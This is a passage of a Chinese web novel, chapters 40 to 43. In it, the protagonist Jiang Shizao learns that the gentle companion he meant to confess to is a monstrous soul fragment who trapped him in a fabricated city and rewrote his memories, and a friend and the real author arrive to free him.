听着对方说出的话，何显镐怔了一瞬。 稍加思索，也不难理解。 的确……温执之前已经说过，时早的意识之所以被困在了铃城，是因为里面的怪物们想将时早留在那里。 那么等到对方处理……或者按照温执刚刚的说法，等这个人回收了那些灵魂碎片后？自然不会再有什么怪物再强留时早了。 那时江时早便能醒过来。 但是何显镐也察觉到了一个问题，或者说是疑问。 “回收它们后会有危险吗？” 何显镐看向对面的温执，“别误会，我不是在关心你。但你之前竟然选择了分裂它们，一定有原因吧？” 在今时今日之前，何显镐根本无法想象一个人的灵魂还能分裂。听起来……就十分极端。 无法想象灵魂分裂者会经历一个什么样的过程。 但温执这时又轻笑了一下。从这个人的神色来看，他并不意外何显镐会问出这个问题。 “我分裂它们，是为了能更好的控制自己。” “什么？”何显镐不太明白。 “你可以理解为，它们都是缺少了某些自控力的我。失控的我。”温执说道。 在他说完后，这条走廊里又安静了好一会。 “所以……你为了让自己不失控，就将自己灵魂里的疯狂部分分裂了出去，是这样吗？” 想到江时早正与对方的失控灵魂在一起，何显镐险些也要失控，“你是疯子吗？！” 温执没有辩驳，此刻这个人显得有些难得的沉默。 那之后，走廊里，何显镐深呼吸了好几口气，才道：“那么……当你将它们全部回收后，你可能会失控吗？” 这是一个异常严峻的问题。 如果“001”失控发了疯，何显镐根本无法想象之后会发生什么事。 不行，这件事不能隐瞒RIDT…… ……但如果RIDT介入，会影响到时早吗？ 就在这时，医院长廊里的另一个人再次开口了： “我知道你在担心什么。” 温执的语调依然不疾不徐。像是早已有了计划与准备。 “还记得我之前跟你提到过的那个东西吗？生活在铃城中的那个“温执”。” ………… 铃城。 江时早和温执回到公寓时，时间已经过了午夜。 好消息是一路上他们都没有遇见任何危险或灵异现象。 如果不算无限流副本，江时早已经超过48小时没有遇见任何灵异事件了！ 这对习惯总结规律的江时早而言绝对算得上一个好消息。 第40章 第四十章 “我是一个卑劣的人。”…… 尽管如此, 江时早的情绪也没有很高。 虽然在BUS上吹了一路的晚风……今晚这辆404路BUS的天窗开着，清爽的夜风让江时早冷静了些，但是对于医院发生的事, 江时早的心情还是很复杂。 温执关上门后, 先去给江时早倒了杯水。 等两人坐在开放式厨房的吧台边后, 这个人才问道：“早早，发生什么了吗？你看起来似乎不太开心。” “没有……”江时早脱口否认。 虽然回来的路上已经想了这件事很久，江时早的情绪很纷杂，但他并没有不开心……握着水杯，江时早只感觉整件事有些难以启齿，他很迷茫。 感觉这件事已经不能用简单的互相帮助来形容了。 而且隐约的，江时早的脑中闪过一幅画面…… 画面里，是他与温浅川的唇瓣贴在了一起, 他们在浴室里拥抱, 吻在了一起。 想到那模糊的一幕，江时早的心跳就控制不了的加速。醒来后的江时早甚至有些分不清这是真实发生过的事，还是自己昏迷前的幻觉。 但即使是幻觉……江时早感觉……他并不反感。 更多的是慌乱与迷茫。 不仅是因为自己一点也不讨厌与温浅川的亲密……还因为这一切发生时，温既明都在一旁看着。 而在进入淋浴间前，江时早甚至同时握住了温浅川与温既明的—— 想到这一切，江时早的脸庞就有些臊红。 这不正常…… “早早, 你想和我谈谈吗？” 吧台边，温执的目光温和, 悦耳的声音循循善诱。 江时早看向身边的人，温执太温柔了，面对这个人，好像什么事都可以与对方说。 “……对了，哥。”江时早收回视线, 低垂的视线落在吧台白色大理石的桌面上，最后他还是选择先说起了另一件事，“你之前说，只要留在南岸第14区的范围内，似乎就不会进入那个无限空间……” “对。”温执回道。 这是今天白天时，两人交换的信息之一。 南岸第14区实际上就是以404路BUS停靠的南岸第14站为中心，方圆一定距离的范围。它包括了江时早和温执居住的铃河小区，以及小区附近的那片生活区与公园。 不过这条规律是按照温执的个人经历得出的结论。虽然温执也推测到，江时早与他穿书后的地点既然都是铃河小区，两人还住的这么近，所以这条规律很可能在江时早的身上也适用。 留在南岸第14区的范围内，就有可能不会再被拉入无限副本了吗。 江时早努力将自己的注意力集中在穿书这件事上。事实上，还有一件事，他也十分在意。 他与温执说了一下午的话，不难发现温执已经来到铃城很久了。 但在江时早进入铃城时，分明才看完小说《铃城》最新一章的更新。说明那时的温执应该还未进入铃城…… 但事实上，温执告诉江时早，他已经进入铃城很久了。 所以两人最后得出结论：铃城的时间流速与他们的世界不一样。 或许他们进入铃城一年，外面的世界仅过去了一刻。 而温执进入铃城后，最开始的经历也与江时早相似。他需要维持人设，每天去便利店上班。 而当他离开南岸第14区时，就有极大的可能进入那个名为Inter-Dimentional Travel的无限流副本中。 当然，温执也发现这个无限空间中的很多副本都与他写过的书相关，所以通关那些副本对他来说并不算特别难。 不过在提到穿书系统与无限流系统时，温执说道：“早早，我的穿书系统和无限流系统都已经很久没有提示了。” 这也与江时早的情况几乎一样。 所以白天下午那会儿，在两人决定先做晚餐时，江时早心中其实也有些迷茫：他们不会一直被困在这里吧。 毕竟作者温执似乎都被困在了铃城…… “早早？” 温执的声音将江时早拉回到了现在。 墙上的挂钟这时已经指向了凌晨零点二十四分。 “早早，你看起来有些累了，我去给你做宵夜。” “哥。”江时早喊住对方。 他现在其实一点也不累，刚刚才在医院睡了近两个小时，所以温执起身时，江时早也跟着站了起来。 “哥，我不累，我帮你。” 温执似乎思考了一下，但很快就在江时早的目光下退让了，“好。”他微微扬了下唇角，点头道。 等到两人一起将原本应该是傍晚的晚餐作为宵夜完成后，看着一桌丰盛的食物，江时早也升起了一点成就感。 虽然他只是一个帮手，主要工作还是温执完成的。 想到温执的厨艺，江时早就控制不住崇拜：“哥，你太厉害了……” 江时早虽然也会做饭，但跟温执绝对不在一个水平。 温执做的饭……简直像艺术品。 色香味俱全。 在这种美食的攻击下，江时早的肚子很配合的“咕咕”了两声。 “——！”瞬间江时早的脸颊就升温了。 温执却没有一点打趣的意思，这个人浅笑着，态度亲切，向少年招手，“早早，来吃。” 江时早坐到了温执的身边。 温执也将调好的酒推给了江时早。 “早早已经二十二岁了啊。” “对。”江时早想起了昨晚温执调酒前问过的问题，瞬间就又回了一句，“真的成年了。” 说完还有些不好意思，毕竟自己之前还伪装高中生来着。 等到两人吃完宵夜，来到公寓的露台后，江时早的情绪已经稳定了不少。或许还有他已经喝完了两杯酒的原因。 江时早感觉自己整个人都变轻了。 大脑好像也不再纠结某些问题。 露台上的晚风吹得人感到舒适，温执这时给他递来了自己调制的果汁。 江时早望向对方，感觉已经说了太多次谢谢了，“哥，你真好……” “真的很好吗？”温执拉开少年身旁的椅子坐下。 “真的，真的。”江时早又连说了两遍。 这时，温执看着两人前方的夜色，缓缓开口道：“早早，我已经在这里生活很久了。” 温执的声音响起时，江时早实际上怔了一瞬。 此刻的江时早不仅感官变轻了，思维似乎也变得比平常更加敏感，所以看着温执的侧脸，他怔住了，“哥……” 有一瞬间，江时早感觉身旁的人距离他很远。 是他完全无法理解的存在。 孤寂又遥远。 还有……还有…… 温执好像有些难过。 尽管眼前的人明明在笑。 尽管江时早仍能听见对方的声音，温柔的、悦耳的声音： “到现在也没有找到离开的方式。” 温执说到这里时，这个人的眼尾也浮现出了一抹浅笑。 看着这样的温执，江时早感觉自己的心脏像被什么东西抓了一下。 有点不舒服…… 温执比他更早来到这里，一直困在这里，至今仍没有找到离开的方式。 有那么一瞬间，江时早感觉自己好像能明白温执的感受。但他也清楚的知道，他的感受与温执一定相差巨大。 “哥，你别不开心。” 江时早想要安慰眼前的人，又觉得此刻语言十分苍白。 “我会努力寻找离开方式的。”江时早说。 温执这时偏过头，在与江时早的目光对上时，这个人的神色逐渐恢复了那种会令人感到安心的温柔与沉稳。 “早早，其实你能来，我很高兴……我这么说，你还觉得我很好吗？” 温执的声音并未停顿，这个人继续说道： “我是一个卑劣的人。明知道你因此被困在了铃城，却还是因为你的到来而感到了高兴。” “因为你能陪伴我……” 说到最后，温执似乎已经不堪到无法再与江时早对视，他垂下了眼眸。 “哥……”江时早望着眼前的温执，声音顿了一下，他想说点什么，但又好像找不到确切的语言文字来描述。 最后，江时早说： “我明白你的意思。” 就像他知道温执是作者Abyss的那一刻，江时早也感到过巨大的喜悦。 这种自己并不是这个世界唯一异类的感觉。 因为知道有人与他来自同样的世界，他们能够分享同样的世界观，能够理解彼此众多的想法，清楚对方的处境与困境，所有这些所产生的惊喜与依赖。 他与温执是有相同感受的。不会因为对方是作者，自己是读者，而有所不同。也不会因为《铃城》是温执笔下的世界，就将穿书的一切责任推给对方。 “哥，我们不是说好了，一起寻找回去的办法吗。” 江时早这时深呼吸了一口气，他握住了温执的手。温执似乎因为他的举动愣了一下，对方的目光久久地停留在两人相握的手上。 江时早说：“能够在这里见到你……我也很高兴，真的。” “早早。” 温执抬起眼眸时，那双蓝色的眼眸似乎比任何时刻都更加深邃，让看见它的人几乎一瞬间便陷入到一种异常的温柔中。 “如果一直找不到办法呢？”温执轻声询问眼前的人。 “找不到办法……” 对于回到原来世界这件事，江时早其实一直抱着希望。但不知道为什么，此刻的温执却好像对一切都感到了绝望。 看着这样的温执，江时早有些难过。 是因为已经困在这里很久了吗。 江时早来到铃城不过数十天，没有经历过温执的经历，但此刻看着温执，他的胸口升起一股强烈的冲动，在这股冲动下，他接下来的语言几乎自然组合，脱口而出： “我会和你一起的，哥。” “所以……别放弃，好吗？” 40-43 第41章 第四十一章 作者来了！ 十一月里一个周末的傍晚。 “哥, 我回来了。” 江时早关上公寓门时，温执的声音也从餐厅的方向传来。 “早早，我做好晚餐了。” 公寓里开了暖气, 室温在二十四度左右, 比室外高了将近二十度, 温暖宜人。 江时早脱下外套，换好鞋后，他提着手中的热奶茶，走向那道声音的主人。 来到餐厅，温执刚好将最后一盘菜放在餐桌上，抬头时这个人脸上的笑容是江时早熟悉的温柔。 “刚好。”温执笑着说。 “哥，我买了奶茶。” 温执喜欢喝奶茶，江时早今天路过奶茶店时买了两杯。 餐桌边, 江时早十分自然的将其中一杯递给了温执。 等到两人吃完晚餐后, 按照惯例，他们会一起在傍晚时出门散步。 这样的生活似乎已经成为日常。 事实上，江时早来到铃城已经有半年了。 这半年里，他与温执早已走遍了南岸第14区。 江时早一次也没有再进入过那个无限空间的副本。 最开始时，他还会按照人设去学校上课，后来在温执的帮助下, 江时早连学校都不用去了。 几个月前，江时早在南岸第14区的一家书店里找到了一份兼职工作。 工作很轻松, 而且有了大量的时间来看书。 虽然自从与温执相认后，江时早不仅没有再被拉入过副本，甚至连灵异事件都没有再撞上过。 日子平静的好像他只是离开了江城，换了一座城市生活。 但这几个月里，江时早还是在尽可能的多看书。 他与温执的关系也越来越亲密。两个人每天生活在一起, 好的如同亲兄弟。 温执仍旧会写小说，现在的江时早总能在第一时间看见温执写的故事。 温执喜欢与江时早分享，这个人不仅一次说过，想要江时早做他的第一个读者。 如果不去想穿书这件事，一切似乎很……美好。 脑子里冒出“美好”这个词时，江时早停下了脚步。 其实也不是一点烦恼都没有…… 想到这半年来自己近乎每晚都会做的梦，各种奇怪的梦，触手……怪物……还有…… 江时早有时还会梦见温执。 每当这种梦发生后，第二天的江时早总会有些羞于面对对方。 还有…… 江时早偶尔也会梦见温浅川。 想到温浅川，江时早其实还是有些难过。 自从半年前医院那一晚后，温浅川就再也没有联系过他了。 对方忽然从江时早的世界里消失了。 江时早试过给温浅川发信息，但那些信息仿佛都石沉大海了。 起初江时早还担心温浅川出了什么事，但就在他心神不宁地拨通对方的电话后，过了一会儿，电话正常接通了。 电话那端响起了那道熟悉的属于温浅川的声音，对方在询问：“你好，请问找谁？” 那一刻，江时早好像明白了一件事。 温浅川不愿意再与他有联系了。对方很可能已经删除了他的联系方式。所以温浅川并不知道给他打电话的人是谁。 那时的江时早挂断了电话，甚至没敢询问原因。 那是他这辈子第一次选择逃避现实。 浑浑噩噩的江时早当时想着不管温浅川因为什么原因不再理他，至少他知道对方是平安的，这就够了吧，他想。 打那通电话的目的也达到了。 然而事实是，那之后江时早难过了好长一段时间。可怜兮兮的，还被温执发现了他精神不佳。 那段时间多亏了温执一直在他身边照顾他，江时早才没有一蹶不振。 后来在书店上班后，江时早看了一些书，后知后觉的回忆，才明白一件事。 他当时应该是喜欢温浅川的。 江时早的初恋就这样无疾而终了。 在书店上班后，江时早几乎也没有再回去过铃城高中。几个月前，在他还没有退学时，江时早曾和温执提到过同学温序。 温序是转学生，是来自铃城外的人。 当时在学校里，所有人都接受了温序来自铃城外的这个身份。但是当江时早与铃城人单独说起铃城外的世界时，所有人都会认为他在讲笑话。在他们的意识中，铃城外面什么也没有。 这是一条很明显的线索。转学生温序很独特。至少对方能让其他人接受一件本不该存在的信息，或者不去深思这件事。 江时早同温执提到过自己的猜测。铃城外面或许还有其它城市，或许是温执写过的其它书构成的城市，或许是别的空间，他们可以先试试与来自外面的温序沟通，找寻线索。 结果等江时早第二天回到学校时，温序竟然不见了！ 他问了同学，才知道温序又转学了。对方已经离开铃城高中了。 这太突然了。 明明前一天还在跟他互通短信，江时早不过因为火灾请了一天半的假，再回学校，温序已经转学了。 简直与后来不再理会他的温浅川一样，都那么突然的从他的世界里消失了。 等江时早再打温序的电话时，那个号码已经是空号了。 后来江时早退学时，曾想过当面感谢一下在过去对他照顾有加的校医温鹤临，结果发现温鹤临在前段时间已经因一场意外去世了。 “……”江时早从班主任那里听到这个消息时，整个人都呆住了。 班主任知道他与温鹤临一向关系亲密，还安慰江时早来着。 温鹤临出事这件事发生在江时早当初请假后的第二天。 “……”退学那天的江时早回家和温执说起这件事时，整个人都有些不在状况。 所有对他好的人，好像都是在一夜之间消失了。 江时早觉得这很不正常，这不对劲的太明显了，但又没有任何线索或证据表明这一切与自己有关。 温序转学离开铃城了，温浅川与他已经断联了，温鹤临……温鹤临人都不在了。 江时早与温执说起过他的怀疑与恐惧。温执十分理解他，两人一起调查过这些事件，但最后无一表明，这些事与江时早无关，它们只是一件件显得有些恰好的独立事件。 而且有一天，江时早和温执一起守在温浅川的公司外面，他们站在一个不显眼的角落，看着对方进入了那栋大楼。 温浅川看起来一切如常。还是那么英俊温和，只是不会再关心江时早这么一个人了。 后来江时早的生活里就只有温执了。与他来自同一个世界的温执。 …… “怎么了，早早？” 傍晚的夕阳下，温执侧身看向停下了脚步的青年。 两人停驻在那座通往生活区的木桥上。 江时早望向温执，看着那双温柔的蓝色眼眸，江时早深呼吸了一口气，给自己鼓气。 他今天是准备做一件事的。 “早早？”温执的神色很有耐心，实际上，他很清楚江时早准备做什么。 江时早会对温浅川有好感，就会对他有同样的好感，毕竟往深了说，温浅川与他就是同一个人。 他们可以很像。更何况，这半年里，他经常进入早早的梦中，引导对方…… 在江时早意识到曾经喜欢上温浅川后，意识一旦突破这层屏障，早早就会在与他的相处中喜欢上他。 这是一定的。 看着眼前即将将那句话说出口的青年，温执的唇角微微上扬。尽管一切都在预料之中，真正到了这一刻，他还是忍不住的兴奋。 心跳在等待中加速。 等待江时早……向他告白。 而他当然会比温浅川更好。 这半年里，早早被困在他打造的副本里，一个没有了转学生，没有了温鹤临，没有了温浅川，没有了一切会打扰到他们的安全的“铃城”。 所有会妨碍他们的东西都消失了。 江时早以为自己去过学校。见到过“温浅川”。但实际上，江时早从未离开过南岸第14区。 江时早活在了温执打造的假象中。 而温执等这一天已经很久了。终于，早早准备对他说出……喜欢他了。 “哥……” 江时早望着眼前的温执。 他昨晚又梦见了温执。 在梦里……他接受了温执的靠近，回应了对方。 这已经不是第一次了。 江时早很清楚梦中的自己越来越依赖温执。 ……其实不仅是在梦境里。江时早每天与温执生活在一起，早就不知道被对方吸引了多少次。 醒来后的江时早想了很久。 今天在书店上班时，他又研究了几本书。 想了又想，江时早准备试试看。 ……其实之前一个月，他每天都在想这件事。每天都想试探温执……今天终于鼓足了勇气。 “早早，你说。” 温执的声音还是那么温柔。好像无论江时早说什么，对方都会接受他，回应他。 这无疑给了江时早很大的勇气。 “你……”江时早张了张嘴。 虽然心理建设做得很足，但真正要向对方表白时，江时早的脸颊还是控制不住的升温。 他好紧张。 “愿意……” 江时早想过，温执对世界的包容性很强，对方肯定不讨厌同性，因为温执的小说里就出现过很多同性恋人。 所以就算自己告白失败，也不会被讨厌吧…… 江时早吞了下喉咙。 “和我……” 此刻的江时早几乎已经是不眨眼的望着对方。 温执微垂着眼眸，那道目光也越来越深邃、温柔…… 交往吗……？ 但最后三个字还没来得及说出口，江时早的瞳孔猛地震颤了一下。 “哥——！” 江时早的眼前，温执的身后——一道巨大的口子突然裂开。 另一种颜色的世界在那个裂口里浮现，裂口越来越大，里面的空间越来越清晰。看着那副景象，江时早所有想要说的话都被打断了。 他伸出手，想要拉开温执。想将温执从那片外涌的诡异世界前拉开。 那个世界……裂口中的那个世界……是江时早曾经见到过的……另一种模样的铃城。 然后江时早看见了，在那片骇异的空间里，有一张与温执一模一样的脸。 江时早怔住了。 一个看起来与温执一模一样的人，从那片裂开的空间中走了出来。 那个人同他说：“早早，我是作者Abyss，跟我走。” 第42章 第四十二章 那个与他无话不谈的……温…… “等等……” 江时早看着那个自称Abyss的男人。 虽然对眼前的状况感到迷茫, 但下意识的，江时早已经拉着身旁的温执退后了一步。 自称Abyss的男人似乎因为他的动作而皱了下眉。那人神色本就极为冷厉，哪怕那是一张与温执一模一样的五官, 江时早目前还是能轻易分辨出两人的不同。 何况另一个“温执”穿着一身西装。与一身休闲衫的温执气场完全不同。 但是江时早很快发现, 身旁温执的表情也变了。 江时早怔了一下。 他第一次在温执脸上看见这样的表情。 温执神色森冷。一向温柔的眼眸里透着江时早从未见过的诡谲的光。 江时早拉着温执的手下意识就拉得更紧了。 “哥, 这到底是什么……”江时早压着声音。又小幅度的拉了拉温执。 实在不行，他们就先撤吧…… 另一个“温执”身后的裂口并未消失，甚至还有继续扩大的迹象，上一次江时早看见那种景象的铃城时……还是他和温浅川一起进入副本前，在404路BUS上。 每次这种异象发生时，都会出事，前方说不定就是一个无限副本的入口。 江时早想要将想法传递给身旁的人，但下一秒, 另一个“温执”已经袭向了他们。 那一瞬间, 江时早感受到自己的左手拉空了。 “早早，你先走。”温执说，“……回家等我。” “哥——” 等江时早反应过来时，两个温执已经在那片裂口前方打了起来。 两人的反应与速度都不似常人。他们的周身流窜着奇怪颜色的能量，很像那些闪烁在裂口后方那片诡异城市上空中的光。 两人每一次交手，似乎都将空间撕开了一道裂口。 这样的打斗方式当然不是普通人能做到的, 眼前正在发生的，简直像……像科幻电影里才会出现的画面。 江时早的心脏早就在另一个“温执”出现时开始加速跳动, 他的心跳越来越快，大脑正在超负荷的转动。温执还让他先走，但这种情况，江时早根本迈不开脚离开。 就在这时，江时早听见了一道声音在喊他。 “时早！江时早！” 何显镐冲到江时早的身前时, 第一时间就拉住了江时早的手腕。 江时早愣了一下，“何天一？”看着突然出现的“何天一”，江时早警惕起来，“你怎么会在这里？” 对方不是铃城高中的学生吗？ 何显镐看着江时早的反应，他深呼吸了一口气。果然，就如温执说的那样，江时早忘记了很多事。 铃城中的“温执”对江时早的记忆动了手脚。 时早竟然真的不记得自己了。 何显镐虽然在读初一时都还是一个胖子，但是高中时，他的模样已经与成年后相差不大。 所以时早不可能认不出高中时的自己，除非是江时早已经没有了与他相关的记忆。 而此刻的江时早已经抽回了自己的手，正警惕地看着不知道从哪里冒出来的“何天一”。 “江时早，你听我说。”何显镐看了眼裂口前方的事态。在他成功进入到这个副本空间后，铃城里的那个“温执”就想对他动手，但被另一个温执挡下了。 交手中的两人现在看起来不分上下，刚好牵制住了彼此。 还好，还好……所有的情况都在温执的预料之中。 何显镐收回视线时，他认真的注视着江时早的眼睛，知道对方已经不记得他了，何显镐深呼吸了一口气，在决定完全相信温执一次的同时，他同江时早说道： “江时早，我是何显镐，你真的不记得我了吗？就算你不记得我了，那一愿呢？你也不记得江一愿了吗！” “江一愿……”江时早的眼瞳猛然一缩。 大脑刺痛。 “江时早！”何显镐再次握住了江时早的手腕，这一次没有被挣脱。 “一愿……”江时早喃喃道。 听见这个名字时，江时早感觉自己的脑中好像出现了一片雾，这片雾让他的思维变得迟钝。让他无法思考。 好难受，好难受，大脑好像卡住了……迷雾，屏障……好想冲破它。 “果然有用……”何显镐一手扶住江时早，余光则一直关注着另一边的战况。 因为自己这个“突发情况”，铃城中的温执似乎有些恼怒，对方的身后开始浮现某种怪物的形态，那怪物如同一片影子一样，活了过来，阴影越来越庞大。 “江时早，你的妹妹江一愿，还在江城等你回去。”何显镐收回视线时，谨慎留意着江时早的表情。 温执说过，铃城成型时，另一个“温执”为了让江时早的身边只有他，故意将江时早在这个世界的人生设计为孤苦伶仃。 江一愿就是铃城的漏洞。 只要江时早想起与自己相依为命的妹妹，时早记忆中的裂缝就会越来越大，最后冲破“温执”设下的障碍，回忆起被掩埋的真实。 “温执！时早快想起来了——”何显镐抓准时机，朝着裂口前方喊道。 这一声让现场的三个人都有了不同反应。 江时早下意识看向了裂口的方向。 两个温执也几乎同时望向了他。 江时早的视线先落在了那个一身西装的男人身上，那之后，他的目光转向了另一个人…… 那是温执，是半个钟头前，江时早想要表白的人。 但此刻的温执跟平日里已经完全不一样了。 江时早看见……温执的身后有大片的黑影，那些黑影在扭曲，在膨胀…… 那是江时早梦里……经常梦见的……怪物…… “早早……”这个温执喊了他一声。 这道声音与梦境重合。 那一瞬间，江时早想起了不久前的那个梦境。 梦境里，温执站在他的身后，对方的双手温柔的环在他的身前。 一开始一切都很温馨。 直到梦里的温执低下头，在江时早的耳畔低语： “早早……你对我真的一点印象都没有了吗？” 梦里的江时早愣住了，他感觉温执的语调和平时不太一样。 “哥，你说什么？” 梦里的温执似乎低笑了一声，那之后，江时早听见了一道比平日里低沉了不少的声音： “我们以前就住在同一栋小区……我就住在你的楼上……” 温执说。 “怎么可能……”江时早的眼神茫然了一瞬。 温执的左手就是在这时抚上了江时早的面庞，轻柔的，缓慢的动作，从脸颊，滑到怀中人的眼，鼻梁，嘴唇，一点一点的临摹，接触。 这是真的，自从温执被江时早拉着跑出那栋即将坍塌的教学楼后，那个温执就搬到了江时早的楼上……这么多年来，江城中的那人，一直就住在早早的楼上……每天都能看见早早…… 想到这里，这个抱着江时早的生物表情就扭曲了一下。 梦里的江时早似乎察觉到了未知的危险，虽然这感觉毫无缘由，明明身后的人是他最信任的那个人，但江时早的身体就是莫名其妙的轻颤起来，“哥，你怎么了……” 温执的呼吸声从原本的轻缓变得沉重。 有什么东西从江时早的皮肤上滑过…… 鸡皮疙瘩的瞬间，两人的周围已经充满了触手。 江时早的眼中流露出本能的惊慌。那占据了他大多梦境的触手，已经让他的身体生出了本能的反应。 梦里的江时早既害怕它们的出现，又总会在那些触手的高超玩**弄下，在情**潮中醒来…… “江时早！” 江时早被何显镐的声音从回忆中唤回神时，他的目光仍旧停留在那个温执身上——停留在那个背后充满了触手一般黑影的温执身上。 那个让江时早记忆深刻的梦境，在那个梦境里，江时早最后看见的就是这样的温执。 那是他唯一一次，看见触手从温执的身上出现。 看见梦里的怪物竟然变成了温执。或者是温执……变成了怪物。 而现在，梦境变成了现实。 就连温执唤他的声音，都与梦境中的那道声音重合了。 “这到底是怎么回事……哥……” 江时早望向了怪物一样的温执。 “时早，你清醒点。”何显镐一直抓着江时早的手腕，“那个怪物，它不是温执。” 何显镐的另一只手这时指向了那个穿着西装的男人。 虽然很不情愿，但何显镐还是快速道出：“那个人才是你喜欢的作者，Abyss。江时早，你现在被困在了一个副本里，这里是一个副本！” 何显镐强迫江时早看向自己，语调沉重但异常清晰： “时早，你已经在这里生活了半年了，对吗？但实际上，真正的铃城时间仅过去了不到半天！江城的时间也才过去了半天！对你来说的半年，实际上只是这个存在于铃城南岸第14区中的副本中的半年时间。这里的一切都是假的，江时早！” “制造这个副本的人，就是它。” 何显镐的手这时指向了另一个人，指向了此刻那个怪物一样的温执。 那个温执的脸上浮现出了一些黑色的血管，与那些触手的颜色一样，他的眼神十分森冷，看向何显镐的目光充满了蔑视，虽然唇边依旧挂着那道让江时早感到十分熟悉的笑意，但他看起来很不开心。 江时早的视线随着何显镐的指认在两个温执身上来回，脱口却是：“我不相信你……” 这句话出现时，在场的几个人似乎都怔了一下。 江时早自己也怔住了。 虽然下意识说出这句话，但江时早的身体已经颤抖起来，或许他其实很清楚，很清楚现状，因为江时早显然已经认出了眼前这个抓着自己的人是谁。 眼睛控制不住地积起水雾，江时早眼眶泛红，他偏过头，不再去看裂口的方向。 “何显镐……”江时早看向眼前的朋友。 他想起来了。 他怎么会忘记妹妹江一愿，忘记了何显镐。 明明“何天一”就是何显镐高中时的模样，但在几分钟前，江时早好像都不记得这个人。 而在江时早偏过头的瞬间，原本暂停的打斗重新汹涌，裂口前方响起了沉重的骇人的声响，似乎还有某种怪物的低吼。 “江时早，你真的吓死我了。”何显镐激动地抱了抱江时早，“你知不知道，你刚刚如果跟那个怪物……” 何显镐的话断了一下，但江时早好像知道对方想说什么，他刚刚正准备向温执表白…… “总之，你差点就要被那个怪物永远困在这里了。”何显镐说。 进入铃城前，温执就已经告知何显镐，如果铃城中的温执向江时早提出了与它一起生活，而江时早自愿答应，那江时早就真的会被困在这里了。 还好他们赶上了…… “你怎么会知道这么多……”江时早怔怔地看着眼前的何显镐。 “温执告诉我的。”何显镐说着，拉着清醒的江时早就要远离那片战场。 但他这一动作进一步激怒了裂缝前的怪物。 无数的触手向着两人的方向席卷而来—— 然后又被另一个温执阻止。 何显镐拉着江时早一边跑一边注意闪躲，“真是个疯子……” 何显镐骂的是温执。毕竟说到底，那个怪物也是温执。这些灵魂碎片都是温执的一部分。 江时早则因为听见“温执”这个名字又出神了一刻。虽然身体在跟着何显镐跑，但是思维根本没有离开裂缝前方。 “温执……”江时早张了张嘴。 最后他还是回头看向了裂口的方向。 “何显镐……等一下……” 江时早停下了脚步。 “时早，怎么了？”何显镐看向江时早，这才发现青年已经泪流满面。 “江时早？！”何显镐吓了一跳，他从来没有见江时早哭过。 “我好难过。” 江时早说着，眼泪不受控制地往下流。 江时早好像清楚发生了什么，又好像什么也无法确定。 “……这半年的生活都是假的吗？” 那个与他无话不谈的……温柔的人，是假的吗？ 所有一切，他的心动与爱慕，他的崇拜与羞赧……到底都是什么…… “江时早！” 第43章 第四十三章 “早早，该醒了。”…… 江时早的眼泪落下来时, 他们身处的这个空间也开始发生变化。 “时早……” 何显镐看向周围，这个副本空间正在解体，越来越多的裂缝在半空中浮现。 那些撕开的裂口露出了副本外铃城的真实模样。 昏暗的天空, 死寂的城市, 浓雾中闪烁着诡异的光芒。 那座城市中似乎还有人影攒动。 看着这一幕, 何显镐更加用力握紧了江时早的手腕。 “温执——！”何显镐看向最初的裂口前方。 副本正在解体，何显镐试图提醒打斗中的那人，江时早的状态很不好，然后就看见—— 那个制造出副本的“人”—— 对方的眼睛正一动不动地看着江时早。 而何显镐拉着的人竟然想走向对方。 “江时早！”何显镐又厉声唤了一声，拉住江时早，不让其再向前走。 然而江时早就像是听不见外界的声音，只是失神地看着那个怪物模样的“温执”，想要走向那个人。 时早被那个怪物控制了。 何显镐猛然意识到这一点时, 一条触手也从侧方突然袭来。何显镐立刻拔出之前藏起的匕首, 但整个人还是被一阵无法防御的能量的冲击甩出了数十米远。 何显镐与江时早的距离瞬间被划开了。 一阵天旋地转后，何显镐爬起来时，看见的就是那个怪物的触手已经伸到了江时早的周围，触目惊心，那些黑影仿佛要将江时早吞噬。 何显镐站起身就想奔向江时早的方向，结果发现自己已经被隔绝在了一道看不见的屏障外。 他的双手用力拍打在看不见的屏障上, “江时早！江时早——！” 屏障中的人却似乎无知无觉。 急切中，何显镐试图寻找那个临时的合作人, 结果视野里根本找不到那个穿西装的人了。 温执……去哪了？ 何显镐的神色也难得茫然了一瞬。 ……死了吗？ 数道念头在何显镐的脑中飞闪，最后他的目光落在了屏障中的那个怪物身上。 那怪物已经移动到江时早的身前了。 …… 江时早眼神恢复清明的瞬间，周围的世界安静极了。 打斗已经停止，外界的声音也不知何时消失了。 江时早抬头望向来到他身前的温执，温执脸上的怪异纹路已经消失了。但对方的身后仍旧有大片的阴影, 那些阴影在黑暗中涌动，如同深渊中的怪物。 “我刚刚是怎么了……？” 江时早说话时还抬手擦了擦自己的脸。 太丢人了，他竟然又哭了。 好像就是在自己的情绪有些失控后，身体就变得很奇怪，大脑也好像停止了思考，眼中就只剩下了……温执。 温执说一起回家。 江时早就想和对方一起回家。 回去铃河小区。 温执还向他伸出了手。 江时早下意识就想走向对方。 …… 然后…… 然后就没有然后了。 江时早忽然就清醒了过来。 “是你吗？” 江时早看向温执，意识回笼后，江时早的情绪似乎稳定了一些，还能够思考自己身上的状况，“我刚刚……” 是被眼前的人控制了吗。 意识到自己在想什么时，江时早自己都有一瞬失神，那种难过的情绪又有了翻涌的迹象。 明明在今天之前，眼前这个人都是他最信任的人，现在他的本能却会怀疑对方。 江时早的视线逃避般的转向了一侧，然后他看见了何显镐。 何显镐的神色很焦急。但对方好像被一道看不见的屏障隔离了。江时早听不见何显镐的声音。 只能从何显镐的动作与口型，看出对方的身前似乎存在着一道看不见的屏障。 何显镐被挡在了那堵看不见的墙外。 江时早的视线又下意识看了看周围，没有看见另一个温执的身影……只看见这片自己曾生活的区域正在分崩离析。 “早早。”温执这时低垂下眼眸，“你在找谁？” “……”江时早回过头时就撞入了对方的眼眸，看着这双蓝色眼睛，江时早顿了一下。 对方的眼中没有了怪异的光，眼前的温执好像又变回了那个温柔的人。 “我……我……”江时早的脑子就像一团被人揉过了的纸。对上这个人后一个字也说不出来了。 眼前的温执却忽然笑了一下。 “早早。”这个人又唤了他一声。 听着这道声音，江时早原本躲开的视线重新看向了对方。这一眼就发现温执的神色变了。 江时早看着对方的眼睛，那双眼睛…… 此刻低头注视着自己的这道视线，江时早从未在温执身上见到过。 但是…… 江时早见过这双眼睛。 记忆涌来时，江时早的身体僵了一下。 他在副本中见到过这双眼睛，对方当时也是用这样的目光看着自己。 那个副本…… “001。” 江时早的口中说出了这个代号。 他自己都感到不可思议。 “你是001。” 在那个感觉已经过去了很久的副本中，副本中的001就是用这样的目光看向他。 